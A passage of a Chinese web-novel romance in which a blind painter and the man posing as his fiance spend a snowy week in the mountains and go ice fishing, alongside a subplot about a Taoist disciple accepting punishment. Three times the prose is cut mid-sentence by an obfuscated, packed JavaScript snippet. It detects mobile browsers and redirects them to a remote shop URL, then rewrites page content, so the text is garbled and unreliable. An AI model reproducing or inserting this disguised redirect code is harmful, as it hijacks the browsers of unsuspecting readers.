现在,他懒洋洋躺在摇椅上晒太阳,屋内,程雀枝也正看着他。 c市的平均气温只有10度左右,况且最近又入冬了,他们的小院在海拔一千米以上,更是冷。 要下雪了。 看到柯玉树没有什么不良反应,程雀枝暂且松了口气,他担心玉树不能适应这边的气候,还好还好。 玉树似乎心情颇好,还在哼着歌。 程雀枝走过去问他:“玉树,你最近无不无聊,想出去走走吗?” 他站在椅子旁边,柯玉树微微一侧头就能靠到他的胸口。 柯玉树干脆整个人都靠在他身上。 “如果你想的话,我们可以出去一趟。” 柯玉树冬天在家里穿的薄棉服,软绵绵的,又轻又柔,而且他这一身还是程雀枝精挑细选的粉白狐狸套装,更是可爱。 程雀枝把柯玉树揽进怀里,心软得一塌糊涂,只有他们两个人的冬天,程雀枝恨不得这辈子都住在这里。 “那等天气好一点,咱们就出去转转吧。今天晚上想吃什么?我做。” 柯玉树回答:“羊肉汤锅吧。” 刚好也临近冬至了,吃羊肉汤锅会很舒服。 下属送来的食材里面没有新鲜羊肉,程雀枝换了衣服出门,打算去菜市场采买。 “你在家要照顾好自己,有什么要我做的直接打电话就行,我很快就回来。” 程雀枝没有请阿姨,对柯玉树的所有事情都一手包办,包括衣服、帽子、围巾、牙刷等私人物品。 毕竟他家玉树看不见,很可怜,他必须得好好照顾才行! 只有柯玉树的手机,程雀枝一直没有机会拿到手里检查,程雀枝想,玉树的交友圈就那么小,应该也不会再惹出其他什么祸端来,倘若玉树真的能联系上Ye先生,也不会这么久都没去联系。 他还是很放心的。 “快去吧,再不去就要下雪了。”柯玉树催促。 程雀枝终于关上大门,他继承了以往的优良传统,家里除了卧室跟厕所,其他地方布满监控,即便他在外面也能时时观察柯玉树的动向。 柯玉树也知道,他知道阳台只有西北角有个监控,于是待在阳台的时间就多了些。 这次程雀枝出门,他又把凳子搬到阳台,对着西北角晒太阳,这个角度的监控看不到他手机,只能看到他的表情。 柯玉树在摇椅里慢悠悠摇着,他戴着蓝牙耳机,今天山林里鸟声不算大,但风很大,想必监控收音也不会太清晰。 他将手机放在窗边,轻声说:“对,他把我带到了c市,让那人先留在s市吧,不要到c市来。” 程诲南要是来横插一脚,柯玉树的计划可就进行不下去了。 对面的庭华立刻回了句语音,耳机里传来他温和的声音:“我知道了,放心,不会让他过去。玉树,要是你想,我现在也可以回本家,过去跟你有个照应。” 柯玉树回:“不用了,小叶的人在。” 柯玉树拒绝得干脆果断,庭华只说好,再也没发消息打扰柯玉树。 看着聊天界面,庭华眨了两下眼睛,然后放下手机,让手下人推迟程诲南和本家的合作。 他原本是想把程诲南引到c市本家去,却没想到程雀枝这死东西居然选了c市,好一个阴差阳错。 “告诉程诲南,不用劳烦他去c市跑一趟,合作方案在s市签就行,我可以代表本家。”庭华说,“要快,我要出差,不会在s市待多久。” 属下领命而去,庭华又在院子里站了一会儿,然后转身,走入经堂。 师父刚巧看完一本书,此刻紫袍加身,淡淡扫了他一眼。 庭华走到师父旁边的蒲团,跪下,将上衣尽数褪去。 他上身赤裸,冷风一吹,看得外面守着的佣人都牙齿打颤。 “师父,请责罚。” 老道长仙风道骨,看了眼自己最骄傲的徒弟,叹了口气。 “我本来不打算罚你,为何执意如此?” 庭华眼中光芒明明灭灭。 他知道师傅这是不想责罚自己,但还是拿起供桌上的戒尺捧在手中,举过头顶。 “是我执念太过深重,不能再这样下去了,师父,我自己走不出来,请您帮我。” 柯玉树于他,已经不可自医。 庭华深深弯腰鞠躬,额头点地,捧着戒尺的手却一动不动,十分决然。 老道长接过戒尺,也不再迟疑,下一刻,皮肉骨头和硬物敲击的声响从经堂传来,一声比一声响,听得人牙齿发酸。 众人都十分不忍地别开眼去,老管家更是目瞪口呆。 只有庭华,一声不吭。 经堂后面,庭英一脸担忧问旁边的中年人:“大伯父,小叔他到底是怎么了?” “不可说,过于执念,生妄,妄念会使人做出不可挽回之事,庭华他及时止损,受一顿皮肉之苦已经是轻的了……他果然有天赋在身。” 戒尺打在骨头上的声音一声比一声响,庭英似乎听懂了什么。 小叔,你这么喜欢他吗? 到底是怎么样的感情,能让你为之做到这种地步? 庭英竟有些畏惧。 一阵青烟过后,庭英迷茫看向小叔的方向。 那…… 执念,又是什么? c市,柯玉树忽然打了个喷嚏。 已经炖好羊肉汤锅的程雀枝连忙走了过来,有些紧张地问:“怎么了?是有些冷,感冒了吗?” 柯玉树摇头,“没事,只是鼻子有些痒,我体质很好,怎么可能感冒?” 程雀枝不信。 柯玉树又补充:“我以前在外面采风,比现在温度还低的驿站都住过,不用这么担心,大不了晚上睡前我喝碗姜汤。” 程雀枝一想也是,他家玉树表面看上去脆弱易折,所有人都以为他柔弱至极,但程雀枝调查过,柯玉树从前一个人都敢穿越沙漠,更别提雪山和大海。 刚成年的柯玉树独自一人出国留学,父母甚至连学费都没给,他硬是成了打工皇帝,才在艺术学院胜利归来。 归来后,柯家父母才承认了玉树妹妹柯月叶的继承人身份,并在柯玉树最不需要的时候把他接了回来。 他的玉树,以前太苦了。 “对不起,是我把你想得柔弱了。”程雀枝说。 然而柯玉树却说:“只是对你柔弱而已,在伴侣面前柔弱点怎么了?” 柯玉树向程雀枝招了招手,程雀枝走到他面前,握住他的手。 那双手又白又软,十分温暖,但却不细腻,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995218|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是一双大少爷的手。 与之相同的是,程雀枝的手也并不细腻,柯玉树猜测他在国外的时候也经常干活。 “看,咱们的手多合适啊,”柯玉树手腕翻转,与程雀枝十指相扣,“多般配。” 程雀枝突然笑了:“是啊,般配。” 这是第一次,玉树不是因为程栖山对他说情话,因为玉树握着的这只手是他的,是他的手和玉树相配。 程雀枝居然感觉心花怒放。 程雀枝的手艺很好,毕竟他是华人,在外面待了这么多年,要还不是个好厨子的话,早就饿死了。 这顿羊肉柯玉树吃得很开心,也习惯了程雀枝的照顾。 程雀枝对餐食也并不讲究,往往照顾柯玉树吃上后,才将饭菜倒进自己的盘中,大口大口嚼,囫囵吞下后又去照顾柯玉树。 他一直在学着照顾人,柯玉树很满意。 到c市快一周,程雀枝始终没有带柯玉树出去,虽说出门是他提出的,但临到头了,他总有些舍不得,不想玉树见到外面那些人。 但柯玉树却说要出门。 “我几年前来过这里一次,记得五十公里外有个孟觉冰湖,湖上有开设野钓的钓场,咱们冰钓去怎么样?” 程雀枝有些惊讶,他原以为柯玉树会说去景区走一走,却没想到他要去冰钓。 冰钓很好,两个人就够了,不会有其他人见到程雀枝的宝贝,他也能一心一意照顾玉树,是个不错的选择。 “玉树居然会冰钓?” 柯玉树点头,声音带了些愉悦:“会啊,冰钓也是我的爱好,当教授前我在世界各地旅游,不是钓鱼就是写生,冰钓海钓都会,要不要拜师?” 程雀枝也随着他的话喊:“师傅,靠你了!” 柯玉树满意了。 “乖,准备准备东西,咱们后天就过去。” “什么东西?” “先来半斤蚕蛹。” 程雀枝僵在了原地,他以为只需要准备露营工具和钓具,蚕蛹又是什么鬼? 程雀枝一直对圆虫有阴影,他幼年一直居住在潮湿的阁楼,木质结构十分招虫子,再加上潮湿的地中海气候,导致春夏的夜晚还有圆虫子钻进过他的耳朵,差点致聋。 那半截虫子在他的耳道里待了好几年才掉出来,那时的程雀枝无权无势,只能和大哥还有小叔忍辱负重,即便现在有了权势,已经损伤过的右耳依旧有些听弱。 “要蚕蛹做什么?”程雀枝声音都有些抖。 柯玉树回答:“当然是做饵啊,钓鱼蚕蛹有奇效,是个王炸,你是新手,用蚕蛹先打窝,免得崩心态。” 柯玉树听到了程雀枝声音里的颤抖,但他装作听不见,按着程雀枝的手臂催促:“快去准备吧,保证钓大黑鱼。” 程雀枝脸色略白。 “我……” 柯玉树:“放心,你要是害怕的话,我来处理。” 程雀枝有些白的脸又渐渐泛起粉红。 “我、我只是……” “我的伴侣以后是要干大事的人,摸虫子这种事我来就行了。”柯玉树牵着他的手到腰间,又往下,“你有其他东西需要摸。” 程雀枝:“!!!” 他差点一口气没上来,整个人晕晕乎乎,像是湖泊里被炸了大把大把醉米饵料的鱼儿。 他心想,大哥哥这回可怨不得我了吧?是嫂子太犯规,他勾引我,我能忍吗? 程雀枝当然不能忍,他直接凑近柯玉树,想要在他唇上亲一口,却被警觉的柯玉树拦住。 “怎么了,栖山?” 一盆冷水把程雀枝从头泼到脚。 31.该上路了 31 “没什么。”程雀枝讷讷地说。 大哥,你还是跟我说声对不起吧。 柯玉树的唇勾起了一个隐晦的弧度,他开始奴役免费劳动力:“除此之外,冰钓还有一定的危险性,这样吧,我列个清单吧,你来准备准备。” 程雀枝心思又活络起来:“放心,包在我身上。” 柯玉树给程雀枝准备了冰钓工具大全套,需要的,不需要的都列了出来。 防寒衣服不需要柯玉树操心,但像冰钻、冰钓竿、线组还有笨篱这些专业工具,他都一一列了个表。 除了这些基础,柯玉树还在表的后面多加了两页辅助工具。 “哦对,还有折叠椅、保温杯、手钩和冰面探测器……安全绳、哨子、救生衣,这些你都要备齐。” 柯玉树列出的一大串东西把程雀枝忙得晕头转向,除此之外,柯玉树还参照从前的经验,推荐了好几款冰钓的时候能打发时间的东西。 没想到程雀枝也没有让住在市区的下属去办,而是自己亲自开车前往市区一一挑选。 玉树布置的任务,自然要他自己完成,程雀枝兴致勃勃,只是置办到后面,居然整整装了两个越野车。 柯玉树站在越野车前,难得的沉默,其实心里早就笑个不停了。 “这么多吗?Sorry让你忙了这么久,我忘记告诉你钓场可以租赁工具了,虽然是野钓,咱们其实过去买了再上山也行。还有这些东西,我只是提了一句……” 程雀枝笑得有些勉强。 “是、是吗?” 那他买的时候乐滋滋幻想个什么劲? 程雀枝也觉得车里东西有些多,根本运不过去,虽然他和柯玉树有两个人,可以分两辆车,但他不可能让盲人开车啊。 不要虐待盲人! 说来说去,程雀枝就是不想有其他人打扰自己和玉树的二人世界,于是两人一合计,打算在院子里卸去一些负担。 然而柯玉树巧施连环计:“啊,铜火锅你居然也准备了吗?我从前旅行的时候,和友人在帐篷里吃火锅或者围炉煮茶,他们说要是带爱人去一趟才好。那时候冰洞里还有鱼时不时跳跃出来,一出来就能丢在火锅里,等到夜间下雪,炉子里的火还会发出噼里啪啦的声响,外面的雪有时候压断枯枝,我能在帐篷里坐一夜,听着雪,喝姜茶……” 程雀枝听罢,把铜火锅和茶炉放回越野车。 柯玉树又坐上了折叠木摇椅:“这摇椅质量挺好的,躺着还舒服,比睡袋好。尺寸刚好,如果是和恋人躺在上面,两个人可以蜷缩在一起,再盖上一层薄被子,听冰裂的声音和山谷里的风,又暖和又静谧;要是太热了,掀开帐篷的帘子,还能看到深蓝色的雪山,松针时不时飘落。我记得有一年采风,打开帐篷就有一条松鼠跳到我的冲锋衣帽子里,特别可爱。” 柯玉树说着,就连表情都不自觉柔和起来,程雀枝又默默把木质摇椅放了回去。 都挺好,他一个都舍不得。 柯玉树的笑意越来越浓,程雀枝也算是领教了文科生的压迫感,两车的东西一件都没拿出来。 他站在越野车前面,有些茫然。 自己这是怎么了? 从前雷厉风行的二少爷,现在怎么变得优柔寡断了? 柯玉树还在旁边补刀:“栖山,你真的一件都不拿出去吗?” 程雀枝彻底开始怀疑自己了。 柯玉树见他沉闷不说话,干脆去摇椅上坐下,静静感受院子里的风。 他发现了,程雀枝在自卑,和害怕。 程雀枝把这次冰雕当成了他们第一次约会,也是最后一次约会,因为他在患得患失。 两人早晚会回归s市,程雀枝想把柯玉树说的那些曾经都体验一遍,果然,年纪不大的小孩就是贪心,什么都想要,还做不出选择。 柯玉树想起程雀枝从夜间窥视,还有他无法抑制的欲望,略显烦躁,他并没有和他人发生关系的兴趣。 柯玉树算是低欲望人群,那如果能给他带来灵感,兴许柯玉树还会感兴趣一些,但柯玉树自己都拿不准灵感到底准不准。 对谁? 他轻轻叹了口气,说:“我不影响你了,你自己决定吧。” 然后回了屋子。 柯玉树其实完全可以告诉程雀枝,他们又不是只去这一次,不用纠结,但柯玉树并没有说,因为…… 没有开解的义务! 次日,柯玉树坐在了越野车的副驾驶,车里满满当当塞着东西,程雀枝居然发挥奇思妙想,打包成了工具.zip。 但看得出来,还是丢了很多东西的。 柯玉树把副驾驶放着的钓具摸出来,杆子不错,他弯了弯唇角,知道程雀枝这回是大出血了。 那我就送你个回礼吧。 车子越过景区上了公路,程雀枝为柯玉树描述这一路来的各种景色,渐渐的人烟越来越稀少,居然开始下起了雪。 “前面是一片松树林,雪盖了一半,还有一些柱子和门上面挂了许多写着文字的小彩旗。”程雀枝描述。 柯玉树忽然说:“是风马。” 他声音透露着淡淡的怀念,“是少数民族的装饰物,旁边应该会有转经阁,或者流水转经筒,沿着山峰往上,说不定还有寺庙。” 程雀枝嗯了一声,即便柯玉树的眼睛看不见,却依旧比他熟悉这件事情,他用余光打量柯玉树,幻想着玉树孤身一人来到这冰天雪地,周围是陌生的建筑和人。 凛冽的寒风中,玉树背着笨重的装备,一步一个脚印为自己搭建了帐篷,在帐篷里从白天守到黑夜…… 程雀枝的心忽然酸涩了一下。 “以后我陪你来吧。” 正打算分享和友人之间趣事的柯玉树:? 这是又想到了什么? “……行。” 虽然不知道程雀枝脑补了些什么,但顺着他说准没错。 越野车在园区门口被检查人员拦住了,程雀枝从副驾驶下去交涉,柯玉树隐隐约约能听到他们那边的对话,却把注意力放到了另一边。 车子右后方有两个安保正在闲聊。 “……据说是个业余钓鱼爱好者,为了哄情人,在桥桩旁边凿了好几个洞,破了一大片的冰面,唉,造孽啊……” 柯玉树听着若有所思,再把注意力转回程雀枝那里,发现检查人员拒绝他们两人前往冰湖的请求。 “抱歉,先生,那里的海拔啊太高了,要专业野钓人员才能进……” 一只白皙的手从副驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998200|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶伸出来,将身份证递给检查人员。 “录入一下身份信息。” 检查人员下意识地照做,看清电脑上显示出来的证明,他瞬间变了态度,恭恭敬敬地说:“柯先生,请,我马上放行。除了桥墩有些脆弱,现在冰面大部分厚度都在十五厘米以上,祝您冰钓愉快。” 是个有眼力见的服务工作者,柯玉树淡淡点头,收回自己的身份证明。 装得很完美。 程雀枝目瞪口呆地看着这一幕,园区的大门已经为他们打开了,畅通无阻,他连忙坐回驾驶座。 越野车动了起来,柯玉树主动解释:“只是参加了几次比赛。” 他绝对不是只参加了几次比赛那么简单,否则检查人员的态度不会这么恭敬,甚至直接放行。 程雀枝提前查过这钓场,信息不多,他以为只是一个私营的小地点,没想到到了门口才知道,必须要会员和专业钓鱼佬才能进。程雀枝本打算直接用钱砸,却没想到柯玉树居然能轻轻松松让人放行。 看着柯玉树风轻云淡的模样,程雀枝唇角不自觉带上笑,他趁着给车让路的空挡,发消息让下属不必上来动手。 “不要妄自菲薄玉树,你超厉害,”程雀枝说,“坐稳,要上公路了。” 柯玉树把半张脸都埋进了围巾里,这条围巾是程雀枝搭配的,绿色的格子像是茂盛的青草,衬得露在外面的半张脸白皙动人。 但并不冷,甚至暖和得柯玉树脸颊都微微泛粉。 程雀枝特意给柯玉树选了保暖羊绒裤和防滑的冷钓靴,进口羊毛袜都包了两层,更别提柯玉树一直戴着的手套和毛线帽,还穿着浅黄色的加厚棉服。 全副武装。 再加上绿色的围巾,简直像一块松软的抹茶舒芙蕾。 程雀枝忽然有些饿了。 柯玉树也吐槽:“我觉得我像是个森林。” 兔子、羊、鹿和鹅的皮毛穿了一身。 程雀枝没理解他的意思,问:“为什么?” “你猜。” 柯玉树说完这句话后,又把下半张脸深深埋进了围巾里面,只露出一双蒙着纱布的眼睛。 虽然已经看不见了,但程雀枝仍然能想象到那双眼睛是有多么灵动,他轻咳,转回头看路。 “我要是猜不到怎么办?” 公路上没有结冰,但越往上开,周围堆积的雪也越来越多,两旁的雪松上甚至开始扑簌簌往下落雪堆。 下午天气怕是会很好。 程雀枝出门前看了天气预报,最多再过两个小时就会有太阳,到时候绝对惬意。 “要是猜不到就一直猜。”柯玉树懒洋洋回答。 他也懒得给程雀枝解释,程雀枝想不出来,把这个问题记在心中,认真开车。 车子越来越稳,柯玉树坐在副驾驶又看不到窗外的景色,居然有些昏昏欲睡。 “睡吧,待会到了我叫你。”程雀枝说。 柯玉树昏昏沉沉的,想摸索按钮把座椅放倒,又想起后面堆满了东西,干脆低着头,头一点一点的睡着了。 程雀枝看着,越看越可爱,在一个转弯的时候,柯玉树受惯性身体后仰,后脑勺又靠在后面,一张脸露了出来。 程雀枝默默收回目光,专心开车。 32.冰钓上 32 两小时后,暖融融的阳光洒在脸上,柯玉树醒来后,感觉车内温度都升高了不少。 “出太阳了吗?”他声音黏黏糊糊。 “是。”程雀枝回答。 程雀枝把车停在停车场有半小时了,柯玉树睡得很熟,他在旁边一直看着,居然也没觉得无聊。 就像曾经无数个夜里那样,他想一直看着柯玉树,但柯玉树总会醒来,他构造的谎言终有一日会被拆穿。 柯玉树把车窗降下去,感受着外面的寒风,他缓了片刻,才自言自语道:“到了?到了,唔……到了怎么不喊我?” “看你睡得太熟,没舍得喊你,就等了会儿而已。” 程雀枝把柯玉树从车上扶下来,让人站在单独的木质台阶上。 “我去搬车上的东西,你先在这里等我,关于这些工具的组装,虽然我提前看过攻略,但不太熟悉,要不我先试试,有不会的问你?” “行,那你加油。” 柯玉树拧开保温杯,抿了一口姜茶,喟叹一声。 露营的小帐篷挺大的,程雀枝动手能力很强,也许之前就组装过,搭起来很容易,至于其他东西就有些繁琐了,但程雀枝现在似乎很有耐心,他把帐篷的地毯铺好,又让柯玉树坐在门口的摇椅上等他。 柯玉树听着里面的敲敲打打。 “声音还整挺响。” 像只勤劳的工蜂。 程雀枝探出头来,问:“子线用哪个?” “PE线,高原鱼凶猛,这个耐磨。” 程雀枝又把头缩回去,准备了大半个小时才把柯玉树请到里面去,里面已经升起炭火,暖融融的,看来他打算连夜钓鱼。 地上铺了厚厚的地毯,只在门边留了一块冰面凿洞,红泥小火炉、铜火锅甚至碳烤架都一应俱全,程雀枝还把每样东西放置的点位,一一介绍给柯玉树。 “就是这几个位置,我把它们用东西隔断开,你过去的时候也要小心些,有什么需要直接告诉我就行。”程雀枝说。 他担心这些东西烫着柯玉树,尽管他知道柯玉树不是个喜欢乱动的人。 柯玉树微微惊讶,坐在椅子上感受着火炉的温度,问:“这些东西你真会用?” 程雀枝:“小时候在外面自己生活过一段时间,会一点,只是钓鱼的工具我不太精通。” 应该是程诲南带他俩侄子在外逃难的那段时间。 柯玉树点头,“工具很简单,不过在准备工具之前,要把安全绳和救生衣弄好。野钓区大多要备上救生衣,毕竟一年到头总有意外发生……” 柯玉树缓缓讲解那些工具,程雀枝听得很认真,也越来越欣赏柯玉树,原本他以为的画家小白花玉树,实际上是个宝库,绝非他最开始以为的依附他人的菟丝花。 是柯玉树盲眼给了他这些错觉,才让他有可乘之机。 程雀枝移开眼,“知道了,要不咱们先试试把冰洞凿开?” 柯玉树点头。 三棱钢制的冰镩形制很奇怪,程雀枝一开始用着很不顺手,柯玉树贴着他的手背,帮他调整好姿势,又收了回来。 “这个角度下去比较省力。” 暖意传递,程雀枝别开眼去不敢看他,只说:“嗯,知道了。” 柯玉树在旁边把凿出来的冰渣用笨篱装桶,程雀枝见状,刻意把冰渣倒到柯玉树面前,两人配合着,凿开了一个足够大的冰洞,程雀枝再把冰桶里的渣子倒到外面去。 “冰洞就做好了,那我把钓竿弄好?”程雀枝问。 他不是这方面的行家,几乎每一步都要询问柯玉树,柯玉树也事事有回应。 程雀枝把冰洞外面围了一圈护栏,钓竿也架好了,只是等了十来分钟,却迟迟没见鱼出来,程雀枝从一开始的兴致勃勃,到后面没了兴趣,干脆把鱼竿一放,去给柯玉树做饮料。 帐篷里温度虽然升高了,但到底是在冰面上,只比外面暖了一些,他不想柯玉树受冻。 然而柯玉树的手一直都是温暖的,相比之下,他的手还冰些。 “奶茶可以吗?” “当然。” 这冰天雪地的,来上一杯奶茶可真是惬意。 程雀枝把奶茶放上炉子,柯玉树也没闲着,把程雀枝准备好的饵料拆开,准备打窝。 “这地方的鱼不好钓,直接用蚕蛹是吧,先把鱼引过来,如果出了雅鱼,咱们就大饱口福了。” 程雀枝静静听着柯玉树给他传授手法和饵料,听到雅鱼,挑眉:“没听过。” “没听过就对了,鲜,”柯玉树弄好蚕蛹,洗干净手,撑着头对程雀枝说:“你继续做。” 奶茶烧开了。 “奶茶好了,我给你倒杯子里,吸管在这儿,你慢慢喝,小心烫。” 程雀枝把杯子推到柯玉树的手边。 柯玉树没有着急着喝,静静等着奶茶温度降下去,滚烫的奶茶升腾起雾气,氤氲了他的脸。 程雀枝看着,忽然问:“玉树,之前你一个人来冰钓的时候,一般会做些什么?” 柯玉树放下杯子,忽然站了起来,说:“听冰裂和雪落的声音,然后找个地方画画。” “鱼不会跑吗?” “我运气一向很好,鱼会自己跳出洞来。” “真有那么好,鱼还能从洞里面跳出来?” 柯玉树握住程雀枝的手臂,而另一只手探到后脑勺,把纱布取了下来。 他抬眸,纯黑色的眼瞳泛着无机质的光晕,一点聚焦都没有,就这样静静看着程雀枝。 程雀枝愣了。 “当然,信不信?有我在,五分钟之后就会出第一尾鱼。”柯玉树笑着说。 太晃眼了。 程雀枝讷讷点头,“……信,我信。怎么把纱布摘了?” 柯玉树纱布丢到桌上。 “被水雾熏湿了,没有绑着的必要。” 程雀枝:“那……” 为什么要忽然靠近他? 柯玉树:“你帮我看下眼睛里面是不是有些红,总感觉这纱布粗糙得很,戴着不舒服。” 程雀枝凑近,与柯玉树那双纯黑的眼珠子对视,那样黑的颜色和深度,他只在自己的便宜大哥眼中看到,纯粹而澄澈。 大哥在盯着一个人的时候,总让人不自觉颤栗,像是看到了恶鬼,与大哥不同的,柯玉树这一双眼睛,再配上他那张脸,像是山间的雪妖,勾引着路过的猎人跌入冰渊。 怎么会这么有夫妻相? 程雀枝拳头硬了。 “咔——” 帐篷外的枯枝被雪压断,柯玉树眼睛动了动,那一瞬间,仿佛有水波在流转,程雀枝的心不知道飞到哪里去了,就听柯玉树问:“怎么样?” “什么怎么样?哦哦——是有些红,下次换一条纱布吧,用丝绸敷药也行,透气。”程雀枝连忙说。 柯玉树:“嗯……快收竿。” 程雀枝:“嗯?哦哦哦!” 他反应过来,下意识猛拉鱼竿,只听得一阵破水声,黑色的鲤鱼甩了程雀枝满脸的冰水和冰碴。 “嘶——” “小点力气吧,怎么这么急?”柯玉树问,“饿了?” 程雀枝:“……没有。” 柯玉树把脚边的水桶踢到程雀枝那边,鲤鱼飞入桶中,程雀枝又才笑逐颜开:“真上鱼了?” “那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002704|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 程雀枝又把鱼竿挂耳放回原位,这才转过头看柯玉树,发现玉树已经坐回了椅子上,手捧着奶茶,脸在水雾里若隐若现。 程雀枝咽了咽口水,问:“钓的是鲤鱼,玉树想怎么做?” “做汤吧,比较合适。” 程雀枝当即去处理他们第一条战利品,他的动作很迅速,没一会就开始煎鱼,柯玉树听着,夸道:“手脚利索,鱼煎得很焦,嗯,香味不错,你厨艺很好。” 程雀枝被他夸得耳朵都有些红,感觉今天出门简直就像是在做梦一样。 “以前没见你做过,我原以为你不会做鱼,没想到这么熟练,甚至不用我指导。我的未婚夫,你还有多少惊喜是我不知道的?”柯玉树问。 程雀枝轻声回答:“多着呢,你以后就知道了。” “真这么厉害呀?” 柯玉树的脸忽然穿过薄雾,靠近程雀枝。 他那双眼睛依旧无神,只是唇边的笑意让整张脸都生动起来,连带着眼睛都染上几抹亮色。 程雀枝却连忙挡住他,“小心烫!” 他在煎鱼呢。 程雀枝的手按在柯玉树心口的位置,柯玉树轻轻哼笑:“你在担心我?不用担心,我有注意到锅子。” 柯玉树说话时胸口微微震动,这点震动传达到程雀枝的手中,程雀枝缓缓把手收回来。 他别开脸,硬邦邦地说:“知道了,但你还是坐回去吧,你看不见,不要乱动。” 程雀枝学着程栖山的语气,企图掩盖自己的失态,柯玉树当然听得出来,他还不想把人逗得太狠,坐回去撑着头等待鱼汤。 保温杯里的奶茶温度适宜,他就着吸管喝了一口,好茶加好奶,味道果然不错,那边的程雀枝也把煎好的鱼丢进小炉里,小火炖煮。 程雀枝洗干净手,转头,就看到柯玉树对他招了一下手。 “来一下。” 程雀枝放下手中的东西,又用消毒纸巾干干净净擦了手,然后走到柯玉树面前。 两个人一站一坐,程雀枝担心柯玉树摸不到自己,干脆弯下腰去。 柯玉树又吸了一大口奶茶,含糊着说:“再近一点。” 奶茶的香味扑到程雀枝面前,热气喷洒,程雀枝已不知不觉靠近,忽然,柯玉树伸出手拉住他的领子,猛得一用力,程雀枝的头便不自觉向柯玉树而去。 “玉树,唔——” 柯玉树先是亲到了他的下巴,再然后找准点位,嘴对嘴将奶茶渡进了程雀枝的口中,香醇柔滑的液体充斥着口腔,程雀枝下意识吞咽,睁大了眼睛。 玉树这是要做什么? 共饮完这一口奶茶,柯玉树也完全没有放开他,而是继续和他唇舌交缠,耳边滋滋响着锅边被煎烤的声音,程雀枝的心也像是被放在了炭火架子上。 焦烤。 他知道他的心已经无法再忍耐了,于是伸出手扣着柯玉树的后脑勺,加深这个吻。 灼热的呼吸在两人之间来回游荡,气息一点点交缠,程雀枝的动作越来越贪婪,心跳声也越来越大。 他的手顺着柯玉树的头发,一下又一下,以至于柯玉树的发带都被他扯落。 “真不乖。” 柯玉树也像是被他激起了好胜心,动作越来越凶狠,像是在撕扯着程雀枝两片唇,两厢对比起来,柯玉树的吻技更胜一筹,他狠狠掠夺着程雀枝的呼吸,以下位者的姿态掌控着程雀枝的所有动作,程雀枝却甘之如饴。 他感觉自己像是在天堂飘荡,眼前一黑,柯玉树忽然伸手推开了他。 他这才发现自己刚才差点缺氧。 丢大脸了! “玉、玉树,我——” 33.冰钓中 33 “先把气喘匀再说。”柯玉树说。 美人如同白玉的脸颊泛起了点点粉红,程雀枝看着这张脸,平复着呼吸,吐出来的气都成了烟雾,飘荡在帐篷上。 他感觉自己头上也要冒烟了,甚至连腰都软了半截。 程雀枝完全不信玉树都瞎了,还能把自己亲成这样,他被激起了胜负欲,干脆又扑了上去,坐在柯玉树的腿上,想继续亲。 却被柯玉树用手掌挡住。 “适可而止,这是在外面。” 严厉的恋人。 程雀枝猛然回过神,讷讷点头:“……好。” 他慢慢从柯玉树的身上爬了起来,这才发现柯玉树的发带飞落到了地毯上,头发散乱,心中稍微平衡了一些。 “看来你也并没有无动于衷,玉树。”程雀枝说。 他捡起飘落在地上的发带,刚抬头,又被柯玉树拉到面前,程雀枝这才发现柯玉树脸上的红晕一直都没有消去,他好像在为自己失控。 柯玉树之前从来没有失控的情况,但现在却有了,是为什么? 程雀枝心中升起一个十分疯狂的念头。 是为了谁? 是为了我吗? 是为了我吧! 他又捉着柯玉树的双唇吻了上去,这一次比刚才还要猛烈,然而柯玉树却像是游刃有余的捕手,再次掠夺了他的呼吸。 程雀枝的动作一点都不温柔,像是养不熟的狼犬,几乎是在啃噬,柯玉树却连眉头都没皱一下,放任他的所作所为。 包容至极。 直到程雀枝眼前又泛起白光,柯玉树才说:“换气。” 程雀枝睁大眼睛,大口大口呼吸,眼前的黑色光晕终于消散,他这才看清楚柯玉树的脸。 依旧泛着红晕,被他染上的红晕。 忽然,柯玉树睁开双眼,程雀枝直接与那双深黑不见底的眼睛对视,仿佛下一秒就要溺毙在那双黑眸深处。 “怎么了?”柯玉树问。 程雀枝颤抖了一下,心湖泛起涟漪,他想,柯玉树完了,柯玉树这辈子都没办法从他手里逃走,他将和自己绑定,直到自己死亡的那一刻。 “没什么。”程雀枝回答。 想通了这件事,程雀枝忽然脱力向后倒,坐回了自己的椅子上。 柯玉树的呼吸也渐渐平静,然后伸出手想要找烤干的纱布,程雀枝却把纱布拿走。 “纱布先不戴了吧,一次两次没问题。” 他想看那双漂亮的眼睛。 柯玉树的指尖蜷缩了两下,然后点头说:“好。” 程雀枝把气喘匀了,又转过头继续去给柯玉树做饭,只是耳朵的红晕终究还是没能降下去。柯玉树也不再提刚才发生的事,而是坐在旁边静静听着他的动静,像是一棵安静的雪松。 沉默而可靠。 